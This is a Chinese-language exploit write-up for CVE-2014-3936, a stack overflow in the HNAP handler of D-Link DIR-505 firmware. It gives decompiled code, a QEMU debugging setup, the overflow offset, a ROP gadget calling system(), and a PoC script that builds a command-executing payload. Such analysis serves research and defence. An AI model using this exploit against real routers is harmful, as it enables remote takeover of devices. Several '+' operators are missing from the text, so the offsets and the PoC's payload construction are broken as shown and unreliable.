CVE-2014-3936 是发生在 dlink 旗下路由器 dir-505 的缓冲区溢出漏洞，漏洞存在于固件版本 1.07 及以前的 HNAP 处理程序中，漏洞发生在 HNAP 处理请求的时候，将 CONTENT_LENGTH 大小的数据直接复制到了缓冲区中，如果 CONTENT_LENGTH 大小超过了缓冲区大小，就会导致缓冲区溢出，进而实现代码执行。总之，是一个数组越界导致缓冲区溢出的漏洞。
此次漏洞分析采用的是 dir-505 固件版本 1.07，漏洞下载地址见参考链接。通过分析固件的文件系统，可以知道服务器采用的是 lighttpd 作为后端，lighttpd 也是嵌入式设备经常使用的一个小型 http server。发生漏洞的程序是 ./usr/bin/my_cgi.cgi，使用的是 fastcgi 调用过程，当收到 uri 为 HNAP1 的数据包时，会将数据包通过环境变量和标准输入 STDIN 传给 my_cgi.cgi 进行处理。
漏洞发生的位置是在 main -> do_hnap 函数中，do_hnap 函数在从环境变量中读取数据的时候，先读取数据包长度 CONTENT_LENGTH，然后根据其大小，通过一个循环，从标准输入中每次读取一个字节放在函数栈上的缓冲区中。如果 CONTENT_LENGTH 过大，就会导致缓冲区溢出，实际上就是数据包的数据够多，就会发生缓冲区溢出。IDA 中反编译的关键流程如下：
int do_hnap()
{
dec_content_length = 0;
content_length = getenv("CONTENT_LENGTH"); // 从环境变量获取 CONTENT_LENGTH
if ( content_length )
dec_content_length = strtol(content_length, 0, 10); // 将 CONTENT_LENGTH 转化为 10 进制
...
if ( dec_content_length > 0 )
{
loop_pointer = v12; // 指向 buf 的起始位置
end_of_buf = &v12[dec_content_length]; // 指向 buf 的结束位置
memset(v12, 0, sizeof(v12)); // 对 buf 清零
while ( stdin->_fileno )
{
v6 = stdin->_IO_write_base;
if ( v6 >= stdin->_IO_write_end )
{
v8 = (int (**)(FILE *))&_fgetc_unlocked;// v8 实际上是一个函数指针
LABEL_21:
v7 = ((int (*)(void))v8)(); // 调用 fgetc
goto LABEL_22;
}
v7 = *v6;
stdin->_IO_write_base = v6 1;
LABEL_22:
*loop_pointer = v7; // 将 fgetc 读取到的字符写入到 buf
if ( loop_pointer == end_of_buf ) // 结束从 STDIN 中读取
{
...
}
}
v8 = &fgetc;
在 do_hnap 函数中，函数执行完毕后的返回地址在初始化堆栈的时候存放在 sp 0x7574，缓冲区的起始地址是 sp 0x30，那么一共需要 30020 个字节使缓冲区溢出，再额外溢出 4 个字节就可以修改保存再堆上的返回地址，最后 do_hnap 函数执行完毕将返回地址从栈中取出到 ra 寄存器然后跳转，就可以达到劫持控制流的目的。缓冲区的起始地址可以从 IDA 直接反编译得到。
.text:00430DBC sw $ra, 0x7560 var_s14($sp) # 保存返回地址到栈上
...
.text:00431168 lw $ra, 0x7574($sp) # 从栈上恢复返回地址跳转执行
...
.text:00431184 jr $ra
.text:00431188 addiu $sp, 0x7578
环境搭建
后端的 server 是 lighttpd，一开始没有在固件根目录下面找到 html 文件，在 cq 师傅的提醒下，先分析系统的启动脚本 ./etc/rc.d/rcS。在启动脚本中，挂载一些设备和创建相关目录，然后是系统初始化程序 system_manager 运行，在其中也会通过 system 函数执行一些命令。如下是系统初始化脚本。
#!/bin/ash
# This script runs when init it run during the boot process.
# Mounts everything in the fstab
mount -a
mount -o remount w /
# Mount the RAM filesystem to /tmp
mount -t tmpfs tmpfs /tmp
# 此处会覆盖掉原来的 etc 目录
# copy all files in the mnt folder to the etc folder
cp -a /mnt/* /etc
ln -sf /etc/hotplug/hotplug /sbin/hotplug
mkdir -p /var/etc
mkdir -p /var/firm
mkdir -p /var/log
mkdir -p /var/misc
mkdir -p /var/run
mkdir -p /var/sbin
mkdir -p /var/tmp
mkdir -p /tmp/var
# 系统初始化程序
#/bin/echo "Init System..."
system_manager &
#/bin/echo "Start tftpd..."
tftpd &
将系统初始化程序 system_manager 放入 IDA 分析，在 main -> init_system -> init_web_server -> init_html_files 中可以看到是如何将原本存放在 mnt 目录下的 html 文件解压出来的，那我们在启动 lighttpd 之前就可以手动执行相关的命令，将 html 文件准备好。
int init_html_files()
{
system("tar -zxf /etc/www.tgz");
system("rm -f /etc/www.tgz");
if ( !byte_416321 )
system("mv /www/ap/* /www");
system("rm -rf /www/ap");
if ( byte_416321 == 2 )
system("mv /www/rt/* /www");
system("rm -rf /www/rt");
if ( byte_416321 == 3 )
system("mv /www/rpt/* /www");
system("rm -rf /www/rpt");
if ( byte_416321 == 4 )
system("mv /www/whp/* /www");
system("rm -rf /www/whp");
system("cp -f /usr/bin/my_cgi.cgi /www");
copy_default_xml();
return read_lang_from_flash();
}
最后是看 system_manager 是如何启动 lighttpd 的，可以在 IDA 中直接搜索字符串 lighttpd，定位到 init_web_server 函数中，然后分析 system 函数传入的参数，就可以得到 lighttpd 的启动命令 lighttpd -f /etc/lighttpd/lighttpd.conf。此处如果直接 F5 的话，分析得到的 system 传入命令不完整。
.text:00403C00 addiu $a0, (aLighttpdFS - 0x400000) # "lighttpd -f %s &"
.text:00403C04 addiu $a1, (aEtcLighttpdLig_0 - 0x400000) # "/etc/lighttpd/lighttpd.conf"
.text:00403C08 jr $t9 ; _system
.text:00403C0C addiu $sp, 0x20
以上是分析工作，实际上真正启动服务器，可以先直接执行启动脚本 ./etc/rc.d/rcS，执行完之后，./etc 目录被原本 ./mnt 中的文件替代了，html 文件被解压出来放在了 ./www 文件夹中。运行如下命令，就可以启动 http 服务了。
# 进入固件根目录
chroot . ./etc/rc.d/rcS
# 再执行一遍 system_manager 这个地方会卡住 因为有些 /dev 没有被挂载，例如 nvram
chroot . ./usr/bin/system_manager
# 启动 lighttpd，-D 不进入后台运行
chroot . ./usr/bin/lighttpd -f ./etc/lighttpd/lighttpd.conf -D
上述的环境搭建其实是不完善的，例如登录操作这种需要 nvram 的根本执行不了，好在这次漏洞是一个无需认证的漏洞。我没有找到在 lighttpd 中是怎么调用的 my_cgi.cgi，那就直接调试 cgi，通过环境变量传入数据进行调试。
幸运的是，可以直接使用 QEMU 进行调试这个漏洞，漏洞的触发过程也不涉及到额外的 patch 工作。首先分析如何才能使代码执行到 do_hnap 函数中存在漏洞的代码处。在 main 函数中，需要设置环境变量 SCRIPT_NAME = HNAP1，使之进入 do_hnap 函数，然后设置环境变量 SOAP_ACTION != (Reboot | SetRouterLanSettings | SetWLanRadioSecurity | SetWLanRadioSettings)，也就是不等于以上四者。最后设置环境变量 CONTENT_LENGTH 控制从标准输入读入到缓冲区的字节数目。
触发漏洞的调试脚本如下，补充说明一下需要将 qemu-mips-static 程序复制到固件的根目录下，这样 chroot 的时候才可以正确使用 qemu-mips-static 进行调试。
# sudo ./debug_mycgi.sh
#!/bin/bash
export SCRIPT_NAME="HNAP1"
export SOAP_ACTION="soap"
export CONTENT_LENGTH="30028"
STDIN=`python -c "print 'A'*30020 'deadbeef'"`
echo "$STDIN" | chroot . ./qemu-mips-static -g 12345 ./usr/bin/my_cgi.cgi
路由器上的程序安全措施通常非常简单，没有 NX 也没有 PIE，此处就直接使用 ret2syscall 来达到命令执行的操作，在 IDA 中使用 mipsrop 插件搜索合适的 gadget，决定使用 0x00405C5C 处。
.text:00405C5C la $t9, system
.text:00405C60 li $s1, loc_430000
.text:00405C64 jalr $t9 ; system
.text:00405C68 addiu $a0, $sp, 0x64 var_3C # command
当劫持了控制流执行到 gadget，堆栈已经从 do_hnap 函数中恢复了平衡，通过计算，system 函数执行的命令保存在相对于 buf 30064 个字节处，总结就是：buf 写入 30020 个字节之后可以覆盖返回地址到 gadget 0x00405c5c，再写入 40 个字节可以写入 system 函数执行的命令，那么先用 python 脚本写入一个 stdin 文件，然后在调试脚本中通过 cat 输出文件内容，通过管道传递给 qemu
# python poc.py
cmd = b'touch test\x00'
with open('./stdin', 'wb') as f:
poc = 30020 * b'A' b'\x00\x40\x5c\x5c' 40 * b'B' cmd
f.write(poc)
# sudo ./debug_mycgi.sh
#!/bin/bash
export SCRIPT_NAME="HNAP1"
export SOAP_ACTION="soap"
export CONTENT_LENGTH="30080"
cat ./stdin | chroot . ./qemu-mips-static -g 12345 ./usr/bin/my_cgi.cgi
使用 gdb-multiarch 连接上 target remote :12345，然后在 do_hnap 函数恢复返回地址到 ra 寄存器处下断点 b *0x431168，可以看到执行完当前指令后，ra 被写入为 gadget 地址 0x405c5c
